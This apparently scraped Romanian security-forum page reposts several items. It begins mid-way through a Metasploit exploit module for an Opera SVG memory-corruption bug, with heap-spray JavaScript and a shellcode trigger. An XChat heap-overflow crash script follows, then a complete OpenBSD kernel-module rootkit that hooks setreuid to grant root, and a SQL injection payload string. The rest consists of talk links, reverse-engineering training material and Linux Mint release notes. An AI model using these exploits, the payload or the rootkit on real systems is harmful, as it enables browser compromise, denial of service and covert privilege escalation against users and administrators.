src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } JS else # # Tested on Opera v11.5x but it's not working on Opera v12.00 pre-alpha # # /* # * Heap spray for Opera that uses VirtualAlloc # * Arguments: # * @blocks - an emtpy array # * @code - the payload # * @offset - padding to align the code # * @chunk_max - max size for each allocation # * @blocks_max - max blocks # */ # # spray_js = <<-JS function heap_spray(blocks, code, offset, chunk_max, blocks_max) { if (chunk_max < 0x7F000) { throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc"; } chunk_max /= 2; var nops = unescape("%u0c0c%u0c0c"); while (nops.length < chunk_max) nops += nops; var offset_chunk = nops.substr(0, offset-code.length); var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length); while (block.length % 8 != 0) block += unescape("%u0c"); var shellcode = block.substr(0, (chunk_max-0x1c)/2); for (var i=0; i < blocks_max; i++) { blocks[i] = shellcode + unescape("%u0c0c"); } } var blocks = new Array(); var code = unescape("#{shellcode}"); heap_spray(blocks, code, #{mytarget['MaxOffset']}, #{mytarget['MaxSize']}, #{mytarget['MaxBlocks']}); function TriggerVuln(){ document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } JS end if datastore['OBFUSCATE'] == true spray_js = ::Rex::Exploitation::JSObfu.new(spray_js) spray_js.obfuscate trigger_sym = spray_js.sym('TriggerVuln') spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});" else spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});" end html = %Q| <html> <head> <script type="text/javascript"> #{spray_js} </script> </head> <html> | print_status("Sending stage 1 (Spraying the heap)") var_contentype = 'text/html' end #Response send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' }) #Handle the payload handler(cli) end end # 1337day.com [2011-10-09] Sursa: Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode

The Good Hacker: Dismantling Web Malware with Aditya K Sood & Richard J Enbody, SecNiche Security Labs, Michigan State University by OWASP plus 11 hours ago O prezentare video detaliata despre analiza malware-ului pe partea de Web. Sunt prezentate multe lucruri, explicate si detaliate, lucruri ca Drive-by sau exploit pack-uri ca BlackHole, dar si scanarea URL-urilor si analiza acestor aplicatii malitioase. Video: http://vimeo.com/32718061

Free IDA Pro Binary Auditing Training Material Atentie! Unele fisiere sunt detectabile. Nu incepeti cu prostii ca "ne dai virusi", nu sunt virusi, sunt programele "packed" prin diverse metode si acest aspect le face detectabile. Si ideea e ca NU le executati, ci faceti Reverse Enginnering. Oricum, cine e interesat de astfel de notiuni stie despre ce e vorba. Puteti doar sa cititi PDF-urile, ar trebui sa fie de ajuns. Content Overview The training package includes all necessary files to run a complete lecture for Binary Auditing and Reverse Code Engineering at university. All files are well sorted by topics and with increasing difficulty. You need Windows XP, Windows Vista or Windows 7 to use this training package. The training package does NOT include runnable viruses! Topic Files IDA Pro 5.0 (Free) 1 Total 324 HLL Mapping 1 (NOT for training, only as reference!) 98 HLL Mapping 2 (Start here and convert them to C) 31 Manual Decompilation (Simple exercises) 10 Algorithm Analysis 1 (Simple math exercises) 3 Algorithm Analysis 2 (Simple math exercises) 6 Crash Auditing (more complicated, why crashing?) 10 File Understanding (Simple to hard Reversemes) 31 Copy Protection Auditing (Simple to very hard) 47 Unpacking (Simple exercises) 3 Vulnerability Auditing (Simple to intermediate) 38 Malware Auditing 1 (Simple old .com/.exe exercises) 41 Malware Auditing 2 (Some fakes for analysis) 4 Malware Auditing 3 (Simple win32 analysis) 1 Download: http://www.codebreakers-journal.com/binary-auditing-training-package.zip Password: fdcd2ff4c2180329053650f3075d39f4 Sursa: Free IDA Pro Reverse Code Engineering and Binary Auditing Training Material for University Lectures

XChat Heap Overflow DoS Proof of Concept Screenshot: http://www.exploit-db.com/wp-content/themes/exploit/screenshots/bt5r1-2011-11-25-22-30-13.png #!/usr/bin/python # Exploit Title: XChat Heap Overflow DoS Proof of Concept # Date: June 2011 # Author: th3p4tri0t # Software Link: http://xchat.org/ # Version: <= 2.8.9 # This only works on XChat on KDE, I'm not sure about windows. # It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5 # It is a heap overflow and is some sort of error with X Windows # It uses 1537 (this is the minimum) of the ascii value 20 # after this, an unknown number of any other character (did not check for special # characters) is required to trigger a crash, presumably the payload will go here. # th3p4tri0t import socket print "XChat PoC Exploit by th3p4tri0t\n" print "Creating server..." sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print " [*] Binding to socket..." sock.bind(('127.0.0.1', 6667)) print " [*] Listening on socket..." sock.listen(5) print " [*] Accepting connection..." (target, address) = sock.accept() print " [*] Sending payload..." buffer = "hybrid7.debian.local " buffer += chr(20) * 1537 # minimum required of this character buffer += "A"*4000 # anything can go here and it still works. buffer += " \r\n" target.send(buffer) target.close sock.close Sursa: XChat Heap Overflow DoS

Linux Mint 12 "Lisa" released! Written by Clem on Saturday, November 26th, 2011 The team is proud to announce the release of Linux Mint 12 “Lisa”. New features at a glance: Gnome 3 and MGSE MATE Artwork improvements Search engines For a complete overview and to see screenshots of the new features, visit: “What’s new in Linux Mint 12“. Important info and release notes: The Release Notes are an important source of information. Here are some of the topics they cover: Tips and Tricks Information about DuckDuckGo Switch to a single top panel Switch to a black panel, menu and window list Quickly preview files without opening them Restart Gnome Shell when needed Debug Gnome Shell (for developers or to troubleshoot) Run Gnome Shell in Virtualbox (for testers and reviewers) Install MATE from the CD edition Workaround for a disappearing MATE panel Workaround for 100% CPU usage in MATE MATE mint4win Moonlight Upstream issues System requirements: x86 processor (Linux Mint 64-bit requires a 64-bit processor. Linux Mint 32-bit works on both 32-bit and 64-bit processors). 512 MB RAM (1GB recommended for a comfortable usage). 5 GB of disk space Graphics card capable of 800x600 resolution CD/DVD drive or USB port Upgrade instructions: To upgrade from a previous version of Linux Mint follow these instructions. To upgrade from Linux Mint 12 RC, simply apply any level 1 and 2 updates (if any), as well as level 3 “mate” and “caja” updates available in the Update Manager. Download: http://torrents.linuxmint.com/torrents/linuxmint-12-gnome-dvd-32bit.iso.torrent Sursa si alte metode de download: http://blog.linuxmint.com/?p=1889

Syscall Hijacking: OpenBSD November 26, 2011, styx^ Hi, in this post I show you how to hijack the system calls in the latest OpenBSD kernel versions. The way in which syscalls can be hijacked in OpenBSD kernel is very similar to that used in the Linux kernel 2.4 versions. The syscall table is exported and it is accessible by an external kernel module. So a syscall address can be overwritten by the address of an our function. - An example of OpenBSD LKM Fist of all, an example of OpenBDS LKM (“LKM_test.c”) follows: #include <sys/param.h> #include <sys/systm.h> #include <sys/ioctl.h> #include <sys/cdefs.h> #include <sys/conf.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/proc.h> #include <sys/kernel.h> MOD_MISC("LKM_test"); int LKM_test_lkmentry(struct lkm_table *, int, int); int LKM_test_lkmload(struct lkm_table *, int); int LKM_test_lkmunload(struct lkm_table *, int); int LKM_test_lkmstat(struct lkm_table *, int); int LKM_test_lkmload(struct lkm_table *lkmt, int cmd) { printf("Hello!\n"); return 0; } int LKM_test_lkmunload(struct lkm_table *lkmt, int cmd) { printf("Goodbye\n"); return 0; } int LKM_test_lkmstat(struct lkm_table *lkmt, int cmd) { printf("Here I am!\n"); return 0; } int LKM_test_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, LKM_test_lkmload, LKM_test_lkmunload, LKM_test_lkmstat); } The behavior of this module is very simple: the LKM_test_lkmentry() function is the entry point function of the kernel module and it’s the first function invoked when the module is loaded in memory. In this function the DISPATCH() macro is called: this macro is defined in “sys/lkm.h”: ... #define DISPATCH(lkmtp,cmd,ver,load,unload,stat) do { if (ver != LKM_VERSION) return EINVAL; switch (cmd) { int error; case LKM_E_LOAD: lkmtp->private.lkm_any = (struct lkm_any *)&_module; if ((error = load(lkmtp, cmd)) != 0) return error; break; case LKM_E_UNLOAD: if ((error = unload(lkmtp, cmd)) != 0) return error; break; case LKM_E_STAT: if ((error = stat(lkmtp, cmd)) != 0) return error; break; } return lkmdispatch(lkmtp, cmd); } while (/* CONSTCOND */ 0) ... The DISPATCH macro handles the loading (by the fourth argument), unloading (by the fifth argument) and querying (by the sixth argument) of the module. The module can be compiled running the “cc” command: # cc -D_KERNEL -I/sys -c LKM_test.c The module can be loaded, unloaded and queried via “modload”, “modunload” and “modstat” commands: # modload LKM_test.o Module loaded as ID 0 # # modstat -n LKM_test Type Id Off Loadaddr Size Info Rev Module Name MISC 0 0 d44ef000 0001 d44ef12c 2 LKM_test # # modunload -n LKM_test # # tail /var/log/messages ... Oct 20 22:02:20 spaccio /bsd Hello! Oct 20 22:02:20 spaccio /bsd DDB symbols added: 365344 bytes Oct 20 22:03:47 spaccio /bsd Here I am! Oct 20 22:04:20 spaccio /bsd Goodbye! - System call in OpenBSD The definition of the internal lkm structure for a syscall it’s defined in “sys/lkm.h” and it follows: struct lkm_syscall { MODTYPE lkm_type; int lkm_ver; char *lkm_name; u_long lkm_offset; /* save/assign area */ struct sysent *lkm_sysent; struct sysent lkm_oldent; /* save area for unload */ }; The fields of this structure represent the type of module, the lkm version, the name of the module, the offset at which to place the system call inside the syscall table. Moreover it’s present a pointer to a “sysent” structure. This structure is defined in “sys/systm.h”: extern struct sysent { /* system call table */ short sy_narg /* number of args */ short sy_argsize; /* total size of arguments */ int sy_flags; sy_call_t *sy_call; /* implementing function */ } sysent[]; The “sysent” array is the syscall table and it’s exported… ;-) The “lkm_syscall” struct will be initialised using the MOD_SYSCALL macro (defined in “sys/lkm.h”): #define MOD_SYSCALL(name,callslot,sysentp) static struct lkm_syscall _module = { LM_SYSCALL, LKM_VERSION, name, callslot, sysentp }; - System calls Hijacking We have now all the informations we need to hijack a system call. The method I’ll show is similar to that used for hooking the syscalls in kernel 2.4 versions. As I said before, the “sysent” array is like the old “syscall_table” exported in Linux kernel 2.4. So, what we have to do is overwriting the syscall address of the interested syscall with that of our function inside the “sysent” array. Each syscall has an unique id-number defined in “sys/syscall.h” that represents also its position inside the system call table. If we want to hijack the (i.e.) “mkdir()” syscall, we have only to search the “mkdir” id-number inside in this header file: ... /* syscall: "sendto" ret: "ssize_t" args: "int" "const void *" "size_t" "int" "const struct sockaddr *" "socklen_t" */ #define SYS_sendto 133 /* syscall: "shutdown" ret: "int" args: "int" "int" */ #define SYS_shutdown 134 /* syscall: "socketpair" ret: "int" args: "int" "int" "int" "int *" */ #define SYS_socketpair 135 /* syscall: "mkdir" ret: "int" args: "const char *" "mode_t" */ #define SYS_mkdir 136 /* syscall: "rmdir" ret: "int" args: "const char *" */ #define SYS_rmdir 137 /* syscall: "utimes" ret: "int" args: "const char *" "const struct timeval *" */ #define SYS_utimes 138 ... The “mkdir” id-number is the number 136. The values contained inside the “sysent” structure are defined in the “init_sysent.c” file: struct sysent sysent[] = { ... { 2, s(struct sys_mkdir_args), 0, 352 sys_mkdir }, ... According to the prototype of the “sysent” structure, the first field represents the number of arguments. The second arguments is the size of the “sys_mkdir_args” structure, that is the structure in which the “mkdir” arguments are defined. All the syscalls’ arguments are defined inside the “sys/syscallargs.h” file: ... struct sys_mkdir_args { syscallarg(const char *) path; syscallarg(mode_t) mode; }; ... The “mkdir” syscall accepts two arguments: the directory path and mode. The fourth argument of the “sysent” structure is a pointer to the implementing function “sys_mkdir()”. We can find the “sys_mkdir()” prototype inside the same file: int sys_mkdir(struct proc *, void *, register_t *); All the syscall functions take as arguments these three fields: - a “struct proc” pointer: The structure that contains the informations about the process that it’s invoking the syscall. - a “void” pointer to the syscall’s arguments. - a “register_t” (it’s a simple integer) pointer to the syscall return value. Now we have all the necessary informations we need to hijack the “mkdir” syscall. The “hijack.c” source code follows: #include <sys/param.h> #include <sys/systm.h> #include <sys/ioctl.h> #include <sys/cdefs.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/proc.h> #include <sys/kernel.h> #include <sys/syscallargs.h> #include <sys/syscall.h> MOD_MISC("hijack"); int hijack_lkmentry(struct lkm_table *, int, int); int hijack_lkmload(struct lkm_table *, int); int hijack_lkmunload(struct lkm_table *, int); int hijack_lkmstat(struct lkm_table *, int); int (*mkdir_old)(struct proc *td, void *args, register_t *; int mkdir_new(struct proc *td, void *args, register_t * { struct sys_mkdir_args /* { syscallarg(const char *) path; syscallarg(mode_t) mode; } */ *uap = args; printf("Mkdir hijacked -> %s %x\n", uap->path, uap->mode); return (mkdir_old(td, args, ); } int hijack_lkmload(struct lkm_table *lkmt, int cmd) { mkdir_old = sysent[SYS_mkdir].sy_call; sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_new; printf("Hello!\n"); return 0; } int hijack_lkmunload(struct lkm_table *lkmt, int cmd) { sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_old; printf("Goodbye\n"); return 0; } int hijack_lkmstat(struct lkm_table *lkmt, int cmd) { printf("Here I am!\n"); return 0; } int hijack_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, hijack_lkmload, hijack_lkmunload, hijack_lkmstat); } We can compile (and load) this module and we can create a new “test” directory to check if the module works properly: # cc -D_KERNEL -I/sys -c hijack.c # modload hijack.o Module loaded as ID 0 # mkdir test # ls ./ test # tail /var/log/messages ... Oct 20 22:15:38 spaccio /bsd Hello! Oct 20 22:15:38 spaccio /bsd DDB symbols added: 365344 bytes Oct 20 22:16:10 spaccio /bsd Mkdir hijacked -> test 1ed Perfect! The directory has been created and the syscall has been hijacked as expected. Now we can write a more interesting kernel module. - A very simple rootkit Now I’ll show you how to change the process credentials through kernel modules. I use the same method shown in this post. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 && EUID == 0143. We only need to hijack the “setreuid” syscall and to check the ruid and euid correctness. As I wrote before, the first argument of each syscall function is a “struct proc” pointer that contains the informations about the process that it’s calling the syscall. So, we only need to change the credentials’ values stored in this structure. This structure is defined in “sys/proc.h”: struct process { struct proc *ps_mainproc; struct pcred *ps_cred; /* Process owner's identity. */ struct plimit *ps_limit; /* Process limits. */ TAILQ_HEAD(,proc) ps_threads; /* Threads in this process. */ int ps_refcnt; /* Number of references. */ }; We are interested on the “pcred” structure. This structure contains all the informations about the process owner’s credentials. This struct is defined in the same file: struct pcred { struct ucred *pc_ucred; /* Current credentials. */ uid_t p_ruid; /* Real user id. */ uid_t p_svuid; /* Saved effective user id. */ gid_t p_rgid; /* Real group id. */ gid_t p_svgid; /* Saved effective group id. */ int p_refcnt; /* Number of references. */ }; The “ucred” structure is defined in the “sys/ucred.h” file: struct ucred { u_int cr_ref; /* reference count */ uid_t cr_uid; /* effective user id */ gid_t cr_gid; /* effective group id */ short cr_ngroups; /* number of groups */ gid_t cr_groups[NGROUPS]; /* groups */ }; We have to hijack the “setreuid” syscall and change these values. The rootkit kernel module (“rootkit.c”) follows: #include <sys/param.h> #include <sys/systm.h> #include <sys/ioctl.h> #include <sys/cdefs.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/proc.h> #include <sys/kernel.h> #include <sys/syscallargs.h> #include <sys/syscall.h> MOD_MISC("rootkit"); int rootkit_lkmentry(struct lkm_table *, int, int); int rootkit_lkmload(struct lkm_table *, int); int rootkit_lkmunload(struct lkm_table *, int); int rootkit_lkmstat(struct lkm_table *, int); int (*setreuid_old)(struct proc *td, void *args, register_t *; int setreuid_new(struct proc *td, void *args, register_t * { struct sys_setreuid_args /* { syscallarg(uid_t) ruid; syscallarg(uid_t) euid; }*/ *uap = args; uid_t uid; uid_t ruid, euid; ruid = SCARG(uap, ruid); euid = SCARG(uap, euid); if ((ruid == 3410) && (euid == 0143)) { td->p_cred->p_ruid = 0; td->p_cred->p_svuid = 0; td->p_cred->p_rgid = 0; td->p_cred->p_svgid = 0; td->p_cred->pc_ucred->cr_uid = 0; td->p_cred->pc_ucred->cr_gid = 0; ruid = 0; euid = 0; SCARG(uap, ruid) = ruid; SCARG(uap, euid) = euid; } return (setreuid_old(td, args, ); } int rootkit_lkmload(struct lkm_table *lkmt, int cmd) { setreuid_old = sysent[SYS_setreuid].sy_call; sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_new; printf("Hello!\n"); return 0; } int rootkit_lkmunload(struct lkm_table *lkmt, int cmd) { sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_old; printf("Goodbye\n"); return 0; } int rootkit_lkmstat(struct lkm_table *lkmt, int cmd) { printf("Here I am!\n"); return 0; } int rootkit_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, rootkit_lkmload, rootkit_lkmunload, rootkit_lkmstat); } We can use the following script (“test.c”) to test the rootkit: #include <stdio.h> int main () { setreuid (3410, 0143); system ("/bin/sh"); return 0; } Now we can compile and then load the kernel module: # cc -D_KERNEL -I/sys -c rootkit.c # modload rootkit.o Module loaded as ID 0 Now, we can change user and we can test if the kernel module works properly: # su - spaccio $ ./test # whoami root # exit $ Great, it works! Bye. Sursa: http://memset.wordpress.com/2011/11/26/syscall-hijacking-openbsd/

iOS application security - CCCamp 2011 Uploaded by CCCen on Nov 25, 2011 iOS application security A look at the security of 3rd party iOS applications Over the last few years there has been a signifant amount of iPhone and iPad application development going on. Although based on Mac OSX, its development APIs are new and very specific to the iPhone and iPad. In this presentation, Ilja van Sprundel, Principal Security Consultant at IOActive, will discuss lessons learned from auditing iPhone and iPad applications over the last year. It will cover the use of specific APIs, why some of them aren't granular enough, and why they might expose way too much attack surface. The talk will cover ssl, xml, url handling, UIWebViews and more. Furthermore, it will also cover what apps are allowed to do when inside their sandbox once an application has been hacked. Speaker: Ilja van Sprundel EventID: 4490 Event: Chaos Communication Camp 2011 (CCCamp 2011) of the Chaos Computer Club [CCC] Language: english Start: 11.08.2011 21:00:00 +02:00 License: CC-by-nc-sa Video: http://www.youtube.com/watch?v=Gq3lSw9sTv4&feature=related

Sql Injection In Bt5 R1 With Sqlmap.Py Nu vreau sa incurajez script kidding-ul, dar uneori e necesar un dump la o baza de date sau pur si simplu obtinerea rapida a unor informatii. Sqlmap e o unealta foarte puternica, profesionala si foarte usor de folosit. Aveti aici un videoclip care demonstreaza simplitudinea folosirii sale: http://www.securitytube.net/video/2489 http://vimeo.com/32571098 Un exemplu mai usor de inteles e folosirea Havij-ului, un utilitar cu interfata grafica: http://www.youtube.com/watch?v=JdgE7MSsBTc Deci acesta NU este hacking. Daca folositi asa ceva nu inseamna ca stiti SQL Injection. Daca executati 3 comenzi nu deveniti hackeri. SQL Injection, pana la urma, e o arta, iar cei care folosesc astfel de unelte pentru a se lauda prietenilor ca cine stie ce au realizat, cand ei nu stiu ce face practic UNION sau ce e un JOIN in MySQL, sunt ceea ce numim "script-kiddie", practic copii fara viitor. Cu asta vreau sa demonstrez si celor care nu se ocupa cu astfel de "prostii", cat de usor se poate "obtine acces" la o baza de date. Vreau sa inteleaga tot poporul ca SQL Injection nu mai este de foarte mult timp ceva ce stiu "hackerii" si ca in ziua de azi nu e nevoie sa cunosti nimic despre aceasta tehnica pentru a o putea exploata. Vreau sa se inteleaga faptul ca sunt foarte putine persoane care STIU SQL Injection si ca sunt extrem de multi pusti entuziasmati care folosesc astfel de unelte pentru a se lauda amicilor ca ei sunt "hackeri". SQL Injection nu e deloc simplu, nu e nici de departe acel "UNION SELECT 1,3,3,7,version()--" pe care il stie toata lumea, sunt lucruri extrem de complicate si ingenioase pe care le stiu putin persoane, in general persoane care stiu cum functioneaza un sistem de gestiune a bazelor de date relationale (MySQL) si persoane care se lupta ore in sir pentru a trece de anumite filtre de securitate, de scriu query-uri de obosesti citindu-le, de folosesc operatori si functii MySQL care nici nu te gandeai ca exista intr-un mod genial... Ca sa va faceti o idee exista query-uri ca: '+and+(select+@d:=(SELECT+COUNT(schema_name)+from+information_schema.schemata)v)=(SELECT+@dbs:=concat(@i:=0x00,@o:=0xd0a,benchmark(@d,@o:=CONCAT(@o,0xd0a,(SELECT+concat(0x3c62723e,@i:=schema_name)+FROM+information_schema.schemata+WHERE+schema_name>@i+order+by+schema_name+LIMIT+1))),@o))+UNION+ALL+SELECT+@dbs,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--+-- Si sunt tone de lucruri pe care multi nici nu viseaza ca le vor cunoaste. Cati dintre voi, cei care pretind ca "stiu" SQL Injection, inteleg acest query? Cati dintre voi nu pretindeti ca stiti SQL Injection doar pentru ca "stiti" chestia cu UNION? Cati dintre voi stiti care e diferenta dintre UNION SELECT 1,2,3 si UNION SELECT 1,2,3 FROM tabel? Cati dintre voi stiti ce face acel "ALL" pe care multi il folositi? In concluzie, un singur lucru vreau sa intelegeti: SQL Injection ("definit" mai sus, de mine) NU DEFINESTE un hacker. Spun asta pentru ca in ziua de azi la aceasta concluzie trista si penibila s-a ajuns.

Tedx Brussels - Miko H. Hypponen - Defending The Net Miko H. Hypponen - Defending The Net O prezentare interesanta care pune mai multe probleme: - imprimantele de la marii producatori, produc anumite tipare de pete galbene, unice, care pot identifica imprimanta folosita - care sunt tipurile de atacatori online - problema firmei DigiNotar cu certificatele digitale si la ce consecinte a dus - cum guvernul german a creat un Trojan pentru monitorizarea cetatenilor - cum guvernele din Vest ofera software pentru monitorizare tarilor din Orientul mijlociu Va recomand sa urmariti http://www.securitytube.net/video/2517 http://www.youtube.com/watch?v=rjeQKAaTlNs

Da, bun venit printre noi.